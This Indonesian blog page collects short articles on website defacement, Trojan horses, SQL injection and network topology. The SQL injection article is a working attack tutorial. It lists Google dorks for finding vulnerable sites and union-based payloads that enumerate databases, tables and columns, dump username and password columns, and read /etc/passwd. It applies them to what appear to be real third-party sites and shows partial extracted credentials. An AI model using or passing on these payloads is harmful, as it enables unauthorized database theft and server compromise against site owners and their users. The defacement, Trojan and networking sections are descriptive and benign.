Tuesday, August 2, 2016

Artikel Deface

Deface


·        Pengertian Deface
Deface adalah kegiatan mengubah halaman website orang lain tanpa sepengetahuan orang tersebut, pastinya ini adalah kejahatan dunia cyber untuk mengganggu informasi yang dimunculkan pada halaman situs yang dimaksud. Deface terkenal juga dengan sebutan cybergrafitti yaitu corat-coret website tertentu.
Deface dilakukan dengan memanfaatkan kelemahan dari website tersebut.
·        Contoh kasus Deface :
a)ketika pada akhir tahun 2002 seiring dengan isu warga Indonesia di Australia, sehingga beberapa situs Australia mengalami serangan ini.
b)Begitu juga ketika perebutan Ambalat antara Indonesia dengan Malaysia, beberapa situs Malaysia pun mengalaminya, peristiwa penyerbuan karena kasus Ambalat ini disebut dengan e-ganyang.
·        Cara menangkal Deface :
1.     Rutin melakukan update, upgrade dan patch pada sistem operasi dan aplikasi-aplikasi yang dipakai.
2.     Memeriksa ulang dan memperbaiki konfigurasi pada sistem operasi, web server dan aplikasi lainnya.
3.     Menganalisa kembali service-service yang aktif, matikan jika tidak perlu.
4.     Mengatur jadwal untuk melakukan backup data penting, file konfigurasi sistem, database, sehingga jika sewaktu-waktu terjadi deface, anda tinggal menggunakan data backup.
5.     Melindungi server dengan firewall dan IDS. Kedua tools ini ampuh untuk mengatasi serangan denial of service(DoS) attack.
6.     Selalu memperhatikan hal-hal yang mencurigakan pada server, baca log system operasi, log web server ataupun log aplikasi.
7.      Melakukan vulnerability scanning secara rutin, juga melakukan private security test.



Daftar Pustaka


Artikel Trojan Horse

Trojan


Dari Wikipedia bahasa Indonesia, ensiklopedia bebas

Trojan horse atau Kuda Troya atau yang lebih dikenal sebagai Trojan dalam keamanan komputer merujuk kepada sebuah bentuk perangkat lunak yang mencurigakan (malicious software/malware) yang dapat merusak sebuah sistem atau jaringan. Tujuan dari Trojan adalah memperoleh informasi dari target (password, kebiasaan user yang tercatat dalam system log, data, dan lain-lain), dan mengendalikan target (memperoleh hak akses pada target).

Cara Kerja



Trojan berbeda dengan jenis perangkat lunak mencurigakan lainnya seperti virus komputer atau worm karena dua hal berikut:
  • Trojan bersifat "stealth" (siluman dan tidak terlihat) dalam operasinya dan seringkali berbentuk seolah-olah program tersebut merupakan program baik-baik, sementara virus komputer atau worm bertindak lebih agresif dengan merusak sistem atau membuat sistem menjadi crash.
  • Trojan dikendalikan dari komputer lain (komputer attacker).

Cara Penyebaran



Penggunaan istilah Trojan atau Trojan horse dimaksudkan untuk menyusupkan kode-kode mencurigakan dan merusak di dalam sebuah program baik-baik dan berguna; seperti halnya dalam Perang Troya, para prajurit Sparta bersembunyi di dalam Kuda Troya yang ditujukan sebagai pengabdian kepada Poseidon. Kuda Troya tersebut menurut para petinggi Troya dianggap tidak berbahaya, dan diizinkan masuk ke dalam benteng Troya yang tidak dapat ditembus oleh para prajurit Yunani selama kurang lebih 10 tahun perang Troya bergejolak.
Kebanyakan Trojan saat ini berupa sebuah berkas yang dapat dieksekusi (*.EXE atau *.COM dalam sistem operasiWindows dan DOS atau program dengan nama yang sering dieksekusi dalam sistem operasi UNIX, seperti ls, cat, dan lain-lain) yang dimasukkan ke dalam sistem yang ditembus oleh seorang cracker untuk mencuri data yang penting bagi pengguna (password, data kartu kredit, dan lain-lain). Trojan juga dapat menginfeksi sistem ketika pengguna mengunduh aplikasi (seringnya berupa game komputer) dari sumber yang tidak dapat dipercayai dalam jaringan Internet. Aplikasi-aplikasi tersebut dapat memiliki kode Trojan yang diintegrasikan di dalam dirinya dan mengizinkan seorang cracker untuk dapat mengacak-acak sistem yang bersangkutan.

Jenis-jenis Trojan



Beberapa jenis Trojan yang beredar antara lain adalah:
  • Pencuri password: Jenis Trojan ini dapat mencari password yang disimpan di dalam sistem operasi (/etc/passwd atau /etc/shadow dalam keluarga sistem operasi UNIX atau berkas Security Account Manager (SAM) dalam keluarga sistem operasi Windows NT) dan akan mengirimkannya kepada si penyerang yang asli. Selain itu, jenis Trojan ini juga dapat menipu pengguna dengan membuat tampilan seolah-olah dirinya adalah layar login (/sbin/login dalam sistem operasi UNIX atau Winlogon.exe dalam sistem operasi Windows NT) serta menunggu pengguna untuk memasukkan passwordnya dan mengirimkannya kepada penyerang. Contoh dari jenis ini adalah Passfilt Trojan yang bertindak seolah-olah dirinya adalah berkas Passfilt.dll yang aslinya digunakan untuk menambah keamanan password dalam sistem operasi Windows NT, tapi disalahgunakan menjadi sebuah program pencuri password.
  • Pencatat penekanan tombol (keystroke logger/keylogger): Jenis Trojan ini akan memantau semua yang diketikkan oleh pengguna dan akan mengirimkannya kepada penyerang. Jenis ini berbeda dengan spyware, meski dua hal tersebut melakukan hal yang serupa (memata-matai pengguna).
  • Tool administrasi jarak jauh (Remote Administration Tools/RAT): Jenis Trojan ini mengizinkan para penyerang untuk mengambil alih kontrol secara penuh terhadap sistem dan melakukan apapun yang mereka mau dari jarak jauh, seperti memformat hard disk, mencuri atau menghapus data dan lain-lain. Contoh dari Trojan ini adalah Back Orifice,Back Orifice 2000, dan SubSeven.
  • DDoS Trojan atau Zombie Trojan: Jenis Trojan ini digunakan untuk menjadikan sistem yang terinfeksi agar dapat melakukan serangan penolakan layanan secara terdistribusi terhadap host target.
  • Ada lagi sebuah jenis Trojan yang mengimbuhkan dirinya sendiri ke sebuah program untuk memodifikasi cara kerja program yang diimbuhinya. Jenis Trojan ini disebut sebagai Trojan virus.
  • Cookies Stuffing, ini adalah script yang termasuk dalam metode blackhat, gunanya untuk membajak tracking code penjualan suatu produk, sehingga komisi penjualan diterima oleh pemasang cookies stuffing, bukan oleh orang yang terlebih dahulu mereferensikan penjualan produk tersebut di internet


Daftar Pustaka

Artikel SQL




I. Pengertian
SQL injection adalah serangan yang memanfaatkan kelalaian dari website yang mengijinkan user untuk menginputkan data tertentu tanpa melakukan filter terhadap malicious character. Inputan tersebut biasanya di masukan pada box search atau bagian-bagian tertentu dari website yang berinteraksi dengan database SQL dari situs tersebut. Perintah yang dimasukan para attacker biasanya adalah sebuah data yang mengandung link tertentu yang mengarahkan para korban ke website khusus yang digunakan para attacker untuk mengambil data pribadi korban.
Untuk menghindari link berbahaya dari website yang telah terinfeksi 
serangan SQL injection, Anda dapat menggunakan aplikasi tambahan seperti NoScript yang merupakan Add-ons untuk aplikasi web browser Firefox. Meskipun tidak terlalu sempurna, setidaknya Anda dapat mengurangi kemungkinan Anda menjadi korban.

2. bagaimana kita menemukan website yang vuln (kali ini saya menggunakan Google)? 

dalam Google terdapat banyak sekali kata kunci untuk menemukan website yang vuln 

ada beberapa contoh kata kunci untuk menemukan website yang vuln :

inurl:content.php?id=
inurl:index.php?id=
inurl:main.php?id=
inurl:streampage.php?id=
inurl:base.php?id=
inurl:content.php?id=
inurl:catalog.php?id=
inurl:view.php?id=
inurl:detail.php?id=
inurl:page.php?id=

3. mencari vuln 

contoh , Google memberikan kita link :
situs.com/index.php?id=1


memulai pencarian vuln di parameter ID
a. situs.com/index.php?id=1+and+1=1 (true dan true = true)
jika keluar halaman seperti id=1, mungkin itu merupakan vuln website
situs.com/index.php?id=1+and+1=2 (true dan true = false)
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
b. situs.com/index.php?id=1'+and+'1'='1 (true dan true = true)
situs.com/index.php?id=1'+and+'1'='2 (true dan false = false)
c. situs.com/index.php?id=1"+and+"1"="1 (true dan true = true)
situs.com/index.php?id=1"+and+"1"="2 (true dan false = false)
d. situs.com/index.php?id=1+order+by+1--+
situs.com/index.php?id=1+order+by+1000+--+
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
e. situs.com/index.php?id=1
situs.com/index.php?id=2-1
f. situs.com/index.php?id=1
situs.com/index.php?id=1*1
g. situs.com/index.php?id=
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
h. mysite.com/index.php?id=1'
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
i. mysite.com/index.php?id=1malingsial
"Unknown column '1malingsial' in 'where clause" <--- vuln
j. situs.com/index.php?id=1)/*
k. situs.com/index.php?id=1')--+
l. situs.com/index.php?id=1"/*
m. situs.com/index.php?id=1))—+

website yang vuln tidak hanya pada query ini aja "index.php?id=1:

situs.com/index.php/id/6/
situs.com/index.HTM?id=1
kenapa ditemukan error atau redirect????
okee agar dapat dimengerti, anda harus mempunyai kemampuan dalam pemrograman PHP dan MySql 
disini saya akan menulis script PHP yang simple dengan vulnerable

$q = "SELECT id,info FROM mytable WHERE id=".$id;
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];

ketika saya menulis id=1 and 1 = 1:

$q = "SELECT id,info FROM mytable WHERE id=1 and 1=1";
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];

dapat dilihat tidak ada error karna id = 1.

bila saya menulis id=1 and 1 = 2:

$q = "SELECT id,info FROM mytable WHERE id=1 and 1=2";
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];
akan keluar error karena 1<>2.
jika saya menulis: 
$q = "SELECT id,info FROM mytable WHERE id=".intval($id);
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];

atau

$q = "SELECT id,info FROM mytable WHERE id=' ".addslashes($id)." ' "; //without spaces
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];

jika anda mengetikan id=1+and+1=2 maka akan diterima id=1 atau jika anda mengetikan 1' maka akan menerima 1 juga.

itu berarti anda dapat menjebol website tersebut dengan metode SQL-Injection.

4. Mencari nomor kolom. dalam hal ini ada 2 untuk mencari nomor kolom:

a. situs.com/index.php?id=1+and+1=2+UNION+SELECT+1+--+

situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+—+

apakah jumlahnya lebih tinggi sedangkan anda tidak melihat angka..? (mungkin terdapat dalam source code)

b. menggunakan perintah " order by" (digunakan untuk mengurutkan kolom berdasarkan angka).

situs.com/index.php?id=1+order+by+1+--+ (tidak ada error)
situs.com/index.php?id=1+order+by+1000+--+ (bila disini keluar error berarti didalam query tidak mempunyai 1000 kolom)
situs.com/index.php?id=1+order+by+50+--+
...
jika tidak keluar error, contoh, kita anda mengetikan order+by+10, dan keluar error ketika anda mengetikan order+by+11+--+ berarti query tersebut hanya mempunyai 10 kolom.
jika anda menemukan nomor kolom (dalam hal ini 10) maka perintah yang harus diketikan :

situs.com/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10+—+

atau

situs.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10+—+

1+and+1=2 (true dan true=false) sama dengan id=-1 dan 1+and+1=1 (true dan true=true) sama dengan id=1

5. mengeluarkan database sekarang kita akan mengeluarkan database
dalam hal ini saya sertakan dengan Live Demo:
http://www.ewpa-majs...ECT+1,2,3,4+--+
4 tabel, nomor kolom: 3
tapi sebelum itu, kita harus mencari database, user dan versi MySqlnya.
Berikut contoh pencarian database, user dan versi MySqlnya.
http://www.ewpa-majs...concat(version(),0x3a,database(),0x3a,user()),4+--+
0x3a - adalah konversi hex dari " : ".
anda juga dapat menggunakan syntax tanpa ():

version()=@@version
user()=CURRENT_USER
database : ewpa_majster01
user : ewpa_majster01@127.0.0.1
versi My SQL: 5.0.51a-24+lenny2+spu1-log

kemudian kita harus menemukan semua databasenya:

Berikut Syntax yang digunakan :
group_concat(schema_name) + from + information_schema.schemata
Berikut Contoh Pengeluaran Databasenya:
http://www.ewpa-majs...cat(schema_name),4+from+information_schema.schemata+--+
seperti yang kita liat ada 2 database : information_schema,ewpa_majster01
kemudian kita melanjutkan dengan mengeluarkan nama tabelnya:
berikut syntax yang digunakan :
group_concat(table_name) from information_schema.tables

Berikut contoh pengeluaran nama tabelnya :

http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+--+
karna cukup banyak nama tabelnya jadi saya tidak menulisnya disini...
karna kita tidak memerlukan tabel yang dari database "information_schema":
berikut syntax yang digunakan :

group_concat(table_name) from information_schema.tables + where + table_schema<>information_schema

Berikut Contoh pengeluaran nama tabel tanpa tabel dari database "information_schema" :

http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+where+table_schema<>0x696e666f726d6174696f6e5f736368656d61+--+
696e666f726d6174696f6e5f736368656d61 = hasil konversi hex dari "information_schema"
tapi anda juga bisa mencoba ini:
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+where+table_schema=database()+--+
kemudian kita harus menemukan kolomnya (dalam contoh saya mengambil tabel ewpa_user):
Berikut Syntax yang digunakan :

group_concat(column_name) + from + information_schema.columns + where + table_name=0xHEXDARINAMATABEL

Berikut contoh mengeluarkan kolom dari tabel :

http://www.ewpa-majs...cat(column_name),4+from+information_schema.columns+where+table_name=0x657770615f75736572+—+ 
657770615f75736572 = hasil konversi hex dari tabel "ewpa_user"
daftar kolom-kolom : id,login,pass
Kemudian Langkah Selanjutnya adalah mengeluarkan seluruh isi kolom yang ada di dalam tabel
Berikut Syntax yang digunakan :

group_concat(nama kolom,[0x3a],nama kolom...) +from+nama tabel

Berikut contoh mengeluarkan seluruh isi kolom dari tabel :

http://www.ewpa-majs...login,0x3a,pass),4+from+ewpa_user+—+

Hasilnya : ID=1 login=admin pass=646224a5..., ID=2 login=dyalcom pass=098f6b...

jika anda ingin mengeluarkan hanya 1 per 1 isi kolom saja, gunakan syntax : LIMIT [row],columns_count:
Berikut contohnya :

http://www.ewpa-majs...a+LIMIT+0,4+--+ http://www.ewpa-majs...a+LIMIT+1,4+--+ http://www.ewpa-majs...a+LIMIT+2,4+—+

Jika Keluar Error : "Illegal mix of collations" anda harus menggunakan perintah unhex(hex()) (contoh : unhex(hex(database())))

melihat password r00t:
berikut syntax yang digunakan :

situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE('etc/passwd'),4+—+

atau

situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4+—+

contoh : 
http://www.webnewshu...32f706173737764),3+--+&rcid=2

jika anda mempunya password r00t anda bisa melakukan apapun diserver itu.. (contoh menggunakan program telnet)

6. 2 query jika anda menginject website dengan 2 query anda tidak perlu menemukan nomor kolom lagi, karna akan keluar error :
Berikut Contoh Syntax yang digunakan untuk double query :

situs.com/index.php?id=(SELECT+*+FROM(SELECT+*+FROM(SELECT+NAME_CONST(user(),14)a)+as+t+JOIN+(SE ​LECT+NAME_CONST(user(),14)a)b)c)
>v5.0.12

NAME_CONST(nama,value)

Bagaimana Query ini bekerja..?
gabungkan query kiri ke query kanan dengan satu nama kolom.
Sekian Sedikit Penjelasan Saya Tentang "Pengertian SQL Injection & Cara Mengimplementasikannya" 



DAFTAR PUSTAKA




Monday, August 1, 2016

Jaringan Datar Horizontal dan Hirarkikal

JARINGAN HORIZONTAL DAN JARINGAN HIRARKIKAL
By Defry Octavio


Pengertian :
A.     Jaringan Horizontal
Jaringan datar ( Horizontal ) Merupakan jaringan yang mana setiap perangkat device memiliki kedudukan yang sama, artinya berada pada level yang sama, sebagai contoh adalah jaringan peer to peer, jaringan LAN merupakan sebuah penerapan dari jaringan Datar ( horizontal ) yang mana setiap perangkat keras jaringan ( device ) memiliki hak yang sama didalam jaringan tersebut.

Jaringan datar adalah jaringan sama level antar device yang terhubung sebuah jaringan komputer. artinya semua device dalam jaringan tersebut hanya berinteraksi dalam satu level. misalkan jaringan peer2peer

B.      Jaringan Hirarkikal
Jaringan Hirarkikal adalah sebuah jaringan yang terdiri dari beberapa level ( tingkat ) dengan fungsi dan hak akses yang berbeda-beda. dimana terdapat beberapa perangkat device yang memiliki hak untuk mengatur perangkat / device yang lain yang berada dilevel bawahnya. contoh penerapanyang mudah kita lihat adalah jaringan internet, dimana terdapat beberapa perangkat yang mampu menentukan ( memperbolehkan dan melarang sebuah akses ).

Konsep Pengalamatan Jaringan Hirarkikal :

Pengalamatan jaringan merupakan suatu metode pengalamatan IP yang bertujuan untuk mengatur alamat suatu komputer yang terhubung dalam jaringan global maupun lokal.
Pengalamatan jaringan juga dapat digunakan untuk mengidentifikasi sebuah komputer dalam suatu jaringan atau dalam sebuah jaringan internet. Pengalamatan IP berupa alamat yang terdiri dari 32-bit yang dibagi menjadi 4 oktet yang masing masing berukuran 8-bit.

Skema pengalamatan pada Dua jaringan tersebut pada dasarnya sama, perbedaannya adalah pada jaringan datar tidak ada alamat ip yang mewakili untuk menuju atau menerima data informasi, sedangkan pada jaringan Hirarkikal akses ke level yang lebih tinggi akan di wakili oleh sebuah alamat ip yang terhubung langsung dengan jaringan pada level diatasnya.

untuk ip yang digunakan masih fleksible tergantung administrator jaringan, kelas A Kelas B dan Kelas C maupun Kelas D atau E semua dapat di terapkan sesuai kebutuhan dari jaringan itu sendiri.


Niki Kulo :
Nama : Defry

Hoby : Badminton, Membaca Buku Sejarah, Traveling, Photography, Jalan-jalan Kuliner



Lebih Jelasnya Silahkan Download




Sharing Jaringan beserta Contoh

Sharing Jaringan 


´Fungsi Sharing Jaringan, diantaranya sebagai berikut:
´1. Membagi sumber daya, misalnya membagi printer, CPU, memori ataupin harddisk
´2. Sebagai sarana berkomunikasi, misalnya e-mail, instant messaging, chatting
´3. Sebagai akses informasi, misalnya web browsing
´4. Menghemat uang, misalnya : printer, dengan adanya jaringan komputer satu printer dapat digunakan oleh lebih dari satu komputer
´5. Reliabilitas tinggi, misalnya salah satu komputer rusak lalu data didalamnya hilang, maka data tersebu masih dapat digunakan lagi dikomputer lain yang menyimpan data tersebut


Lebih Lengkapnya Download Di Sini